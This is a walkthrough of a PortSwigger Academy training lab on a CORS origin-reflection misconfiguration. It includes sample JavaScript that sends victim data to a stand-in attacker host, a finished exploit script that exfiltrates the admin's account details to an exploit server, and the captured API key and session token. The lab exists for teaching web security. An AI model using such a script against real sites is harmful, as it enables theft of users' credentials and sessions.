PortSwigger's "CORS vulnerability with basic origin reflection" Walkthrough

This is a writeup for the “basic origin reflection” CORS lab from PortSwigger Academy. For this walkthrough, you’ll need a Portswigger Academy account.

Log in to your Academy account and then view the lab at https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack. This is accessible from the “all labs” view or from the CORS page.

Challenge Information

Click the “Access the Lab” button and you will be taken to a temporary website that is created for your account. This will be in format https://<random string here>.web-security-academy.net/.

CORS stands for cross-origin resource sharing, and controls what access can be made outside of a given domain. The setup for this lab is that we can send malicious content to an administrator and force the execution of Javascript in their browser.

We want to use this to get account information from them, but in order to get that information to our exploit server, we need to find a CORS misconfiguration.

This lab asks us to use a “basic origin reflection” CORS misconfiguration to get the API key.

Here’s the website:

If we log in to our account (“My account”) with provided credentials wiener:peter, the account page looks like this:

If we View Page Source or use Dev Tools to view the HTML, the API key is actually coming from an /accountDetails endpoint:

It’ll be our goal to get the admin to make a query to /accountDetails, then send that information to our exploit server’s logs, all in a way that does not violate CORS policy.

Demonstrating Origin Reflection

The “Server-generated ACAO header from client-specified Origin header” section of the CORS page describes an insecure method of managing CORS that a lot of website take because keeping a list of allowed domains is difficult.

In short, they configure their servers to read the Origin header from incoming requests, and then indiscriminately copy that value into the Access-Control-Allow-Origin response header.

Here is the sample attack code provided:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
    location='//malicious-website.com/log?key='+this.responseText;
};

This attack code is simpler than the “null origin” CORS attack, which loaded things in an iframe. This is just plain Javascript, so it will need to be stuck inside a set of <script> tags.

If our lab server reflects the Origin value into the Access-Control-Allow-Origin header, then we won’t need to do anything extra for our attack (in terms of additional HTTP headers).

Let’s test this theory out by using Burp Suite to intercept the /accountDetails request made earlier, when we loaded account details for user wiener. Here’s the original request:

If we right-click and Send to Repeater, then modify the Origin to be some-other-site.com, we should see that value reflected in the Access-Control-Allow-Origin response header.

There it is!

That means that if we send the admin an exploit, which is implicitly from an Origin of <our exploit server>.com, this will be reflected into the Access-Control-Allow-Origin header, thus not being in violation of any CORS rules. In other words, we should be able to send our payload without any issues, and the poorly configured CORS rules will allow us in without any extra work.

Lab Solution

Click Go to Exploit Server on the Academy banner. Then, we'll enter in our payload.

We don’t need to modify the HEAD portion, as already discussed. We do need to add our payload, though. If we take the payload shown earlier, wrap it in <script> tags and then input our lab’s information in place of the placeholder values:

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://<random-string>.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='/log?key='+this.responseText; 
};
</script>

Copy this into the Body section:

Click Store to save it. Then click View Exploit to see if the attack works on yourself. If the script is formatted correctly, no HTML should be rendered on the page, and you will be automatically forwarded to the /log page.

If so, it’s time to send the exploit to the admin (if the previous step didn't work, check the Dev Tools console after you View Exploit for yourself).

Click Deliver Exploit to Victim, then wait a few seconds, and check the logs again. You should see a new entry from the administrator:

172.31.31.56    2021-12-03 16:22:46 +0000 "GET /log?key={%20%20%22username%22:%20%22administrator%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%220lVF32ORWKW5HcC7My9EWpJpgC0Bk3MD%22,%20%20%22sessions%22:%20[%20%20%20%20%22upYNrRxvaIk5jlT3tAIRxq600t2Dtswp%22%20%20]} HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36"

URL decode the message to get the API key: 0lVF32ORWKW5HcC7My9EWpJpgC0Bk3MD in this case.

172.31.31.56 2021-12-03 16:22:46 +0000 "GET /log?key={ "username": "administrator", "email": "", "apikey": "0lVF32ORWKW5HcC7My9EWpJpgC0Bk3MD", "sessions": [ "upYNrRxvaIk5jlT3tAIRxq600t2Dtswp" ]} HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36"

Then submit this via the Academy header Submit solution button:

And the lab is solved!